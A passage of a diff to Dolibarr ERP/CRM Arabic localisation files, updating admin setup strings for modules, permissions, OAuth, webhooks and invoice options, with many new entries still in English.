لتطبيق ERP CRM الخاص بك: %s . WarningPHPMailSPF=إذا كان اسم المجال في عنوان البريد الإلكتروني الخاص بالمرسل محميًا بسجل SPF (اسأل مسجل اسم المجال الخاص بك) ، يجب عليك إضافة عناوين IP التالية في سجل SPF الخاص بـ DNS لمجالك: %s . ActualMailSPFRecordFound=تم العثور على سجل SPF الفعلي (للبريد الإلكتروني %s): %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      مثال:
      لكي يقوم النموذ PageUrlForDefaultValuesList=
      مثال:
      بالنسبة للصفحة التي تسرد جهات خارجية ، فهي %s .
      بالنسبة لعنوان URL للوحدات الخارجية المثبتة في الدليل المخصص ، لا تقم بتضمين "custom /" لذا استخدم مسارًا مثل mymodule / mypagelist.php وليس custom / mymodule / mypagelist.php.
      إذا كنت تريد القيمة الافتراضية فقط إذا كان عنوان url يحتوي على بعض المعلمات ، فيمكنك استخدام %s AlsoDefaultValuesAreEffectiveForActionCreate=لاحظ أيضًا أن الكتابة فوق القيم الافتراضية لإنشاء النموذج تعمل فقط للصفحات التي تم تصميمها بشكل صحيح (لذلك مع إجراء المعلمة = إنشاء أو تقديم ...) EnableDefaultValues=تفعيل تخصيص القيم الافتراضية -EnableOverwriteTranslation=تفعيل استخدام الترجمة المكتوبة +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=تم العثور على ترجمة للمفتاح بهذا الرمز. لتغيير هذه القيمة ، يجب عليك تحريرها من Home-Setup-translation. WarningSettingSortOrder=تحذير ، قد يؤدي تعيين ترتيب فرز افتراضي إلى حدوث خطأ تقني عند الانتقال إلى صفحة القائمة إذا كان الحقل حقلاً غير معروف. إذا واجهت مثل هذا الخطأ ، فارجع إلى هذه الصفحة لإزالة ترتيب الفرز الافتراضي واستعادة السلوك الافتراضي. Field=حقل @@ -643,11 +646,13 @@ Module2300Name=المهام المجدولة Module2300Desc=إدارة الوظائف المجدولة (الاسم المستعار كرون أو جدول كرونو) Module2400Name=الأحداث / الأجندة Module2400Desc=تتبع الأحداث. سجل الأحداث التلقائية لأغراض التتبع أو سجل الأحداث أو الاجتماعات اليدوية. هذه هي الوحدة الرئيسية للإدارة الجيدة لعلاقات العملاء أو البائعين. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=نظام إدارة الوثائق / إدارة المحتوى الإلكتروني. التنظيم التلقائي للمستندات التي تم إنشاؤها أو تخزينها. شاركهم عند الحاجة. -Module2600Name=خدمات API / ويب (خادم SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=تمكين الخدمات API Dolibarr الخادم SOAP توفير -Module2610Name=خدمات API / ويب (خادم REST) +Module2610Name=API / Web services (REST server) Module2610Desc=تمكين الخادم تقديم الخدمات API Dolibarr REST Module2660Name=WebServices الدعوة (العميل SOAP) Module2660Desc=تمكين عميل خدمات الويب Dolibarr (يمكن استخدامه لإرسال البيانات / الطلبات إلى خوادم خارجية. يتم دعم أوامر الشراء فقط حاليًا.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP التحويلات Maxmind القدرات Module3200Name=المحفوظات غير القابلة للتغيير Module3200Desc=تمكين سجل غير قابل للتغيير لأحداث العمل. يتم أرشفة الأحداث في الوقت الحقيقي. السجل هو جدول للقراءة فقط للأحداث المتسلسلة التي يمكن تصديرها. قد تكون هذه الوحدة إلزامية لبعض البلدان. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=الشبكات الاجتماعية Module3400Desc=قم بتمكين حقول الشبكات الاجتماعية في عناوين وعناوين الأطراف الثالثة (سكايب ، تويتر ، فيسبوك ، ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=شروط التجارة الدولية Module62000Desc=إضافة ميزات لإدارة Incoterms Module63000Name=مصادر Module63000Desc=إدارة الموارد (طابعات ، سيارات ، غرف ، ...) لتخصيصها للمناسبات -Permission11=قراءة الفواتير +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=إنشاء / تعديل فواتير العملاء Permission13=إبطال فواتير العميل Permission14=التحقق من صحة الفواتير @@ -842,9 +852,9 @@ Permission286=تصدير اتصالات Permission291=قراءة التعريفات Permission292=مجموعة أذونات على التعريفات Permission293=تعديل تعريفات العميل -Permission300=قراءة الباركود -Permission301=إنشاء / تعديل الباركود -Permission302=حذف الباركود +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=قراءة الخدمات Permission312=تعيين خدمة / الاشتراك في التعاقد Permission331=قراءة العناوين @@ -940,9 +950,9 @@ Permission1190=الموافقة على (الموافقة الثانية) أوا Permission1191=أوامر تصدير الموردين وخصائصها Permission1201=ونتيجة للحصول على التصدير Permission1202=إنشاء / تعديل للتصدير -Permission1231=اقرأ فواتير البائع -Permission1232=إنشاء / تعديل فواتير البائعين -Permission1233=التحقق من صحة فواتير البائع +Permission1231=Read vendor invoices (and payments) +Permission1232=Create/modify vendor invoices +Permission1233=Validate vendor invoices Permission1234=احذف فواتير البائع Permission1235=إرسال فواتير البائع عبر البريد الإلكتروني Permission1236=تصدير فواتير البائع والسمات والمدفوعات @@ -971,13 +981,14 @@ Permission3301=إنشاء وحدات جديدة Permission4001=اقرأ المهارة / الوظيفة / المنصب Permission4002=إنشاء / تعديل المهارة / الوظيفة / المنصب Permission4003=حذف المهارة / الوظيفة / المنصب -Permission4020=اقرأ التقييمات -Permission4021=إنشاء / تعديل التقييم الخاص بك -Permission4022=التحقق من صحة التقييم -Permission4023=حذف التقييم -Permission4030=انظر قائمة المقارنة +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=اقرأ المعلومات الشخصية Permission4032=اكتب معلومات شخصية +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=اقرأ محتوى الموقع Permission10002=إنشاء / تعديل محتوى موقع الويب (محتوى html و javascript) Permission10003=إنشاء / تعديل محتوى الموقع (كود php الديناميكي). خطير ، يجب أن يكون محجوزًا للمطورين المقيدين. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=نوع التصرف في الأصول TypeOfUnit=نوع الوحدة SetupSaved=تم حفظ الإعدادات SetupNotSaved=الإعدادات لم تحفظ +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=خطاء اثناء الحذف +EntryDeleted=العنصر محذوف BackToModuleList=العودة إلى قائمة الوحدات BackToDictionaryList=رجوع إلى قائمة القواميس TypeOfRevenueStamp=نوع الطابع الضريبي @@ -1222,7 +1237,7 @@ SetupDescription4= %s -> %s

      هذا البرنامج SetupDescription5=قائمة الإعدادات الأخرى تقوم بإدارة المعطيات الاختيارية. SetupDescriptionLink= %s - %s SetupDescription3b=المعلمات الأساسية المستخدمة لتخصيص السلوك الافتراضي لتطبيقك (مثل الميزات المتعلقة بالبلد). -SetupDescription4b=هذا البرنامج عبارة عن مجموعة من العديد من الوحدات / التطبيقات. يجب تمكين الوحدات النمطية المتعلقة باحتياجاتك وتكوينها. ستظهر إدخالات القائمة مع تنشيط هذه الوحدات. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=الأحداث الأمنية التي يتم تدقيقها NoSecurityEventsAreAduited=لم يتم تدقيق أي أحداث أمنية. يمكنك تمكينهم من القائمة %s Audit=أحداث أمنية @@ -1244,6 +1259,7 @@ AreaForAdminOnly=يمكن تعيين معطيات الإعدادات بواسط SystemInfoDesc=معلومات النظام هي معلومات فنية متنوعة تحصل عليها في وضع القراءة فقط وتكون مرئية للمسؤولين فقط. SystemAreaForAdminOnly=هذه المنطقة متاحة للمستخدمين المسؤولين فقط. لا يمكن لأذونات مستخدم دوليبار تغيير هذا التقييد. CompanyFundationDesc=قم بتحرير معلومات شركتك | مؤسستك. ثم انقر فوق الزر "%s" في أسفل الصفحة عند الانتهاء. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=إذا كان لديك محاسب / محاسب خارجي ، يمكنك هنا تعديل المعلومات الخاصة به. AccountantFileNumber=كود المحاسب DisplayDesc=يمكن هنا تعديل المعلمات التي تؤثر على شكل التطبيق وطريقة عرضه. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=المشغلات في هذا الملف نشطة ح GeneratedPasswordDesc=اختر الطريقة التي سيتم استخدامها لكلمات المرور التي يتم إنشاؤها تلقائيًا. DictionaryDesc=أدخل جميع البيانات المرجعية. يمكنك إضافة القيم الخاصة بك إلى الافتراضي. ConstDesc=تتيح لك هذه الصفحة تحرير (تجاوز) المعلمات غير المتوفرة في الصفحات الأخرى. هذه معلمات محجوزة في الغالب للمطورين / استكشاف الأخطاء وإصلاحها المتقدمة فقط. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=يتم تعريف جميع المعلمات الأخرى المتعلقة بالأمان هنا. LimitsSetup=حدود / الدقيقة الإعداد LimitsDesc=يمكنك تحديد الحدود والدقة والتحسينات التي تستخدمها Dolibarr هنا @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=يجب تشغيل هذا الأ YourPHPDoesNotHaveSSLSupport=وظائف خدمة تصميم المواقع لا تتوفر في بي الخاص بك DownloadMoreSkins=مزيد من جلود بتحميل SimpleNumRefModelDesc=لعرض الرقم المرجعي بالتنسيق %syymm-nnnn حيث yy السنة و mm الشهر و nnnn هو رقم متسلسل يتزايد تلقائيًا بدون إعادة تعيين +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=إرجاع الرقم المرجعي بالتنسيق %s-nnnn حيث nnnn عبارة عن رقم تزايد تلقائي متسلسل بدون إعادة تعيين ShowProfIdInAddress=إظهار الهوية المهنية مع العناوين ShowVATIntaInAddress=إخفاء رقم ضريبة القيمة المضافة داخل المجتمع @@ -1380,7 +1399,7 @@ GetBarCode=الحصول على الباركود NumberingModules=نماذج الترقيم DocumentModules=نماذج الوثائق ##### Module password generation -PasswordGenerationStandard=قم بإرجاع كلمة المرور التي تم إنشاؤها وفقًا لخوارزمية Dolibarr الداخلية: %s أحرف تحتوي على أرقام وأحرف مشتركة بأحرف صغيرة. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=لا تقترح كلمة مرور تم إنشاؤها. يجب كتابة كلمة المرور يدويًا. PasswordGenerationPerso=ترجع كلمة المرور الخاصة بك وفقا لتكوين المعرفة شخصيا. SetupPerso=وفقا لتكوين الخاصة بك @@ -1434,6 +1453,10 @@ SuppliersPayment=مدفوعات الموردين SupplierPaymentSetup=إعداد مدفوعات البائعين InvoiceCheckPosteriorDate=تحقق من تاريخ التجهيز قبل المصادقة InvoiceCheckPosteriorDateHelp=يُمنع التحقق من صحة الفاتورة إذا كان تاريخها سابقًا لتاريخ آخر فاتورة من نفس النوع. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=وحدة إعداد مقترحات تجارية ProposalsNumberingModules=اقتراح نماذج تجارية الترقيم @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=العلامة المائية على مسودات ##### Members ##### MembersSetup=أعضاء وحدة الإعداد MemberMainOptions=الخيارات الرئيسية +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= إدارة تسجيل الدخول لكل عضو AdherentMailRequired=البريد الإلكتروني مطلوب لإنشاء عضو جديد MemberSendInformationByMailByDefault=مربع لإرسال الرسائل للأعضاء تأكيدا على افتراضي MemberCreateAnExternalUserForSubscriptionValidated=قم بإنشاء تسجيل دخول مستخدم خارجي لكل اشتراك عضو جديد تم التحقق من صحته -VisitorCanChooseItsPaymentMode=يمكن للزائر الاختيار من بين طرق الدفع المتاحة +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=قم بتمكين التذكير التلقائي عبر البريد الإلكتروني بالاشتراكات منتهية الصلاحية. ملاحظة: يجب تمكين الوحدة النمطية %s وإعدادها بشكل صحيح لإرسال التذكيرات. MembersDocModules=قوالب المستندات للوثائق التي تم إنشاؤها من سجل الأعضاء ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=تفعيل محرر متقدم ل: FCKeditorForNotePublic=إنشاء / إصدار WYSIWIG لعناصر الحقل "الملاحظات العامة" FCKeditorForNotePrivate=إنشاء / إصدار WYSIWIG للحقل "ملاحظات خاصة" للعناصر FCKeditorForCompany=إنشاء / إصدار WYSIWIG للوصف الميداني للعناصر (باستثناء المنتجات / الخدمات) -FCKeditorForProduct=إنشاء / إصدار WYSIWIG للوصف الميداني للمنتجات / الخدمات -FCKeditorForProductDetails=إنشاء \\ تعديل تفاصيل المنتجات على طريقة الطباعة "ما تراه ستحصل عليه" لجميع المستندات (المقترحات،الاوامر،الفواتير،...) تحذير: إستخدام هذه الخاصية غير منصوح به بشدة بسبب مشاكل المحارف الخاصة وتنسيق الصفحات وذلك عند توليد ملفات بصيغة المستندات المتنقلة . +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG إنشاء / الطبعة بالبريد FCKeditorForUserSignature=إنشاء WYSIWIG / طبعة التوقيع المستعمل FCKeditorForMail=إنشاء / إصدار WYSIWIG لجميع البريد (باستثناء الأدوات-> البريد الإلكتروني) @@ -1766,7 +1790,7 @@ DetailMenuHandler=قائمة المعالج حيث تظهر قائمة جديد DetailMenuModule=اسم وحدة قائمة في حال الدخول من وحدة DetailType=نوع القائمة (أعلى أو إلى اليسار) DetailTitre=قائمة علامة أو بطاقة رمز للترجمة -DetailUrl=عنوان القائمة حيث يرسل لك (عنوان الارتباط المطلق أو خارجية مع وصلة http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=شرط أن لا تظهر أو الدخول DetailRight=حالة رمادية غير مصرح بها للعرض القوائم DetailLangs=لانغ لتسمية اسم ملف الترجمة مدونة @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=استخدام أنواع الأحداث (المُدارة AGENDA_USE_EVENT_TYPE_DEFAULT=قم بتعيين هذه القيمة الافتراضية تلقائيًا لنوع الحدث في نموذج إنشاء الحدث AGENDA_DEFAULT_FILTER_TYPE=عيِّن هذا النوع من الأحداث تلقائيًا في فلتر البحث لطريقة عرض الأجندة AGENDA_DEFAULT_FILTER_STATUS=عيّن هذه الحالة تلقائيًا للأحداث في فلتر البحث لعرض جدول الأعمال +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=أي طريقة عرض تريد فتحها بشكل افتراضي عند تحديد جدول أعمال القائمة AGENDA_REMINDER_BROWSER=قم بتمكين تذكير الحدث على متصفح المستخدم (عند الوصول إلى تاريخ التذكير ، تظهر نافذة منبثقة بواسطة المتصفح. يمكن لكل مستخدم تعطيل هذه الإشعارات من إعداد إعلام المتصفح الخاص به). AGENDA_REMINDER_BROWSER_SOUND=تمكين الإعلام الصوتي @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=انخفاض المخزون في نق CashDeskYouDidNotDisableStockDecease=لم تقم بتعطيل خفض المخزون عند إجراء عملية بيع من نقطة البيع. ومن ثم مطلوب مستودع. CashDeskForceDecreaseStockLabel=تم فرض انخفاض مخزون المنتجات الدفعية. CashDeskForceDecreaseStockDesc=التقليل أولاً من خلال أقدم تواريخ الأكل والبيع. -CashDeskReaderKeyCodeForEnter=رمز المفتاح لـ "Enter" المحدد في قارئ الرمز الشريطي (مثال: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=إعداد وحدة المرجعية BookmarkDesc=تسمح لك هذه الوحدة بإدارة الإشارات المرجعية. يمكنك أيضًا إضافة اختصارات إلى أي صفحات Dolibarr أو مواقع ويب خارجية في القائمة اليسرى. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=نماذج ترقيم فواتير البائعي IfSetToYesDontForgetPermission=في حالة التعيين على قيمة غير فارغة ، لا تنس منح الأذونات للمجموعات أو المستخدمين المسموح لهم بالموافقة الثانية ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind الإعداد وحدة -PathToGeoIPMaxmindCountryDataFile=مسار الملف الذي يحتوي على Maxmind ip لترجمة الدولة.
      أمثلة:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat a0342fccfda19bzeo /usr/Ghare/Lite2IP/ +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=لاحظ أن الملكية الفكرية الخاصة بك على البيانات القطرية الملف يجب أن تكون داخل الدليل الخاص بي يمكن قراءة (راجع الإعداد open_basedir بى وأذونات نظام الملفات). YouCanDownloadFreeDatFileTo=يمكنك تحميل نسخة تجريبية مجانية من GeoIP ملف Maxmind البلاد في ٪ s. YouCanDownloadAdvancedDatFileTo=كما يمكنك تحميل نسخة كاملة أكثر من ذلك ، مع التحديثات ، من GeoIP ملف Maxmind البلاد في ٪ s. @@ -1907,7 +1934,7 @@ NoAmbiCaracAutoGeneration=لا تستخدم الأحرف الغامضة ("1"، " SalariesSetup=الإعداد للرواتب وحدة SortOrder=ترتيب Format=شكل -TypePaymentDesc=0: نوع الدفع للعميل ، 1: نوع الدفع للبائع ، 2: نوع الدفع للعملاء والموردين +TypePaymentDesc=0: طريقةالدفع العميل ، 1: نوع الدفع للبائع ، 2: طريقة الدفع العملاء و سداد الموردين IncludePath=يشمل المسار (المحدد في متغير%s) ExpenseReportsSetup=إعداد تقارير المصروفات وحدة TemplatePDFExpenseReports=قوالب المستند لتوليد حساب ثيقة تقرير @@ -1926,6 +1953,7 @@ BackupDumpWizard=معالج لإنشاء ملف تفريغ قاعدة البيا BackupZipWizard=معالج لبناء أرشيف دليل المستندات SomethingMakeInstallFromWebNotPossible=تركيب وحدة خارجية غير ممكن من واجهة ويب للسبب التالي: SomethingMakeInstallFromWebNotPossible2=لهذا السبب ، فإن عملية الترقية الموضحة هنا هي عملية يدوية لا يجوز إلا لمستخدم ذي امتيازات القيام بها. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=تثبيت وحدة خارجية من التطبيق قد تم تعطيلها من قبل المسؤول. يجب أن يطلب منه إزالة الملف٪ s للسماح هذه الميزة. ConfFileMustContainCustom=يحتاج تثبيت أو بناء وحدة خارجية من التطبيق إلى حفظ ملفات الوحدة النمطية في الدليل %s . لكي تتم معالجة هذا الدليل بواسطة Dolibarr ، يجب عليك إعداد conf / conf.php لإضافة سطري التوجيه:
      $ dolibarr_main_url_root_alt = '/root_alt؛
      $ dolibarr_main_document_root_alt = '%s / مخصص' ؛ HighlightLinesOnMouseHover=تسليط الضوء على خطوط الجدول عندما يمر تحرك الماوس فوق @@ -2053,6 +2081,8 @@ RemoveSpecialChars=إزالة الأحرف الخاصة COMPANY_AQUARIUM_CLEAN_REGEX=مرشح Regex لتنظيف القيمة (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=مرشح Regex لتنظيف القيمة (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=مكرر غير مسموح به +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=مسؤول حماية البيانات (DPO أو خصوصية البيانات أو جهة اتصال GDPR) GDPRContactDesc=إذا قمت بتخزين البيانات الشخصية في نظام المعلومات الخاص بك ، فيمكنك تسمية جهة الاتصال المسؤولة عن اللائحة العامة لحماية البيانات هنا HelpOnTooltip=نص المساعدة للظهور في تلميح الأداة @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=دليل الهدف صندوق البريد EmailcollectorOperations=العمليات التي يقوم بها المجمع EmailcollectorOperationsDesc=يتم تنفيذ العمليات من أعلى إلى أسفل الترتيب MaxEmailCollectPerCollect=أقصى عدد من رسائل البريد الإلكتروني التي تم جمعها لكل مجموعة +TestCollectNow=Test collect CollectNow=اجمع الآن ConfirmCloneEmailCollector=هل تريد بالتأكيد استنساخ مُجمع البريد الإلكتروني %s؟ DateLastCollectResult=تاريخ آخر جمع حاول @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=عدد رسائل البريد الإلكتروني في دليل المصدر LoadThirdPartyFromName=تحميل بحث الطرف الثالث على %s (تحميل فقط) LoadThirdPartyFromNameOrCreate=قم بتحميل بحث الطرف الثالث على %s (أنشئ إذا لم يتم العثور عليه) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=احفظ الملفات المرفقة في مستندات الكائن إذا تم العثور على مرجع لكائن في موضوع البريد الإلكتروني. WithDolTrackingID=رسالة من محادثة بدأت بأول بريد إلكتروني مرسل من Dolibarr WithoutDolTrackingID=رسالة من محادثة بدأها أول بريد إلكتروني لم يتم إرساله من Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=تسمية المشروع PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=تضمين الاسم المستعار في اسم الطرف الثالث THIRDPARTY_ALIAS=اسم الطرف الثالث - الاسم المستعار الطرف الثالث ALIAS_THIRDPARTY=الاسم المستعار للطرف الثالث - اسم الطرف الثالث +PDFIn2Languages=عرض الملصق في البي دي اف بلغتين PDF_USE_ALSO_LANGUAGE_CODE=اذا كنت ترغب في تكرار بعض النصوص بلغتين مختلفتين في ملفاتك المولدة بصيغة المستندات المتنقلة . يجب عليك ان ان تحدد اللغة الثانية هنا حتى يتسنى للملفات المولدة ان تحتوي على لغتين في نفس الصفحة . اللغة المختارة اثناء توليد المستند واللغة المختارة هنا (فقط بعض قوالب صيغة المستندات المتنقلة تدعم هذه الميزة) . ابق الخيار فارغاً للتوليد بلغة واحدة PDF_USE_A=إنشاء مستندات PDF بتنسيق PDF / A بدلاً من تنسيق PDF الافتراضي FafaIconSocialNetworksDesc=أدخل هنا رمز رمز FontAwesome. إذا كنت لا تعرف ما هو FontAwesome ، فيمكنك استخدام القيمة العامة fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=شراكة AGENDA_EVENT_DEFAULT_STATUS=حالة الحدث الافتراضية عند إنشاء حدث من النموذج YouShouldDisablePHPFunctions=يجب عليك تعطيل وظائف PHP IfCLINotRequiredYouShouldDisablePHPFunctions=باستثناء إذا كنت بحاجة إلى تشغيل أوامر النظام في رمز مخصص ، يجب عليك تعطيل وظائف PHP -PHPFunctionsRequiredForCLI=لغرض الصدفة (مثل النسخ الاحتياطي للوظيفة المجدولة أو تشغيل برنامج منشط) ، يجب أن تحتفظ بوظائف PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=لم يتم العثور على ملفات أو أدلة قابلة للكتابة للبرامج الشائعة في الدليل الجذر الخاص بك (جيد) RecommendedValueIs=موصى به: %s Recommended=موصى بها NotRecommended=لا ينصح -ARestrictedPath=بعض المسار المقيد +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=تحقق من وجود تحديثات الوحدات الخارجية CheckForModuleUpdateHelp=سيتصل هذا الإجراء بمحرري الوحدات الخارجية للتحقق من توفر إصدار جديد. ModuleUpdateAvailable=تحديث متاح @@ -2264,10 +2297,10 @@ LateWarningAfter=تحذير "متأخر" بعد TemplateforBusinessCards=قالب لبطاقة عمل بحجم مختلف InventorySetup= إعداد الجرد ExportUseLowMemoryMode=استخدم وضع ذاكرة منخفضة -ExportUseLowMemoryModeHelp=استخدم وضع الذاكرة المنخفضة لتنفيذ تنفيذ التفريغ (يتم الضغط من خلال أنبوب بدلاً من ذاكرة PHP). لا تسمح هذه الطريقة بالتحقق من اكتمال الملف ولا يمكن الإبلاغ عن رسالة الخطأ إذا فشلت. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = الويب هوك -ModuleWebhookDesc = واجهة للقبض على مشغلات dolibarr وإرسالها إلى عنوان URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = إعداد Webhook Settings = الإعدادات WebhookSetupPage = صفحة إعداد Webhook @@ -2288,6 +2321,8 @@ IconOnly=رمز فقط - نص على تلميح الأداة فقط INVOICE_ADD_ZATCA_QR_CODE=إظهار رمز الاستجابة السريعة ZATCA على الفواتير INVOICE_ADD_ZATCA_QR_CODEMore=تحتاج بعض الدول العربية إلى رمز الاستجابة السريعة هذا على فواتيرها INVOICE_ADD_SWISS_QR_CODE=أظهر رمز QR-Bill السويسري على الفواتير +INVOICE_SHOW_SHIPPING_ADDRESS=عرض عنوان الشحن +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=رابط URL للشبكة الاجتماعية. استخدم {socialid} للجزء المتغير الذي يحتوي على معرف الشبكة الاجتماعية. IfThisCategoryIsChildOfAnother=إذا كانت هذه الفئة تابعة لفئة أخرى DarkThemeMode=وضع المظهر الداكن @@ -2307,3 +2342,37 @@ UsePassword=استخدم كلمة مرور UseOauth=استخدم رمز OAUTH Images=الصور MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=تجلب الوحدة عنوان URL يمكن استخدامه بواسطة أداة خارجية للحصول على اسم طرف ثالث أو جهة اتصال من رقم هاتفه. URL المطلوب استخدامه هو: +ScriptIsEmpty=لم يتم كتابة كود برمجي +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=أحداث قابله للاثارة +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=التحذيرات معطلة +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=الاجهزة المكتبية فقط +DesktopsAndSmartphones=للموبايل و الاجهزة المكتبية +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/ar_SA/assets.lang b/htdocs/langs/ar_SA/assets.lang index 6c5867709d9..da5da17a330 100644 --- a/htdocs/langs/ar_SA/assets.lang +++ b/htdocs/langs/ar_SA/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,50 +16,171 @@ # # 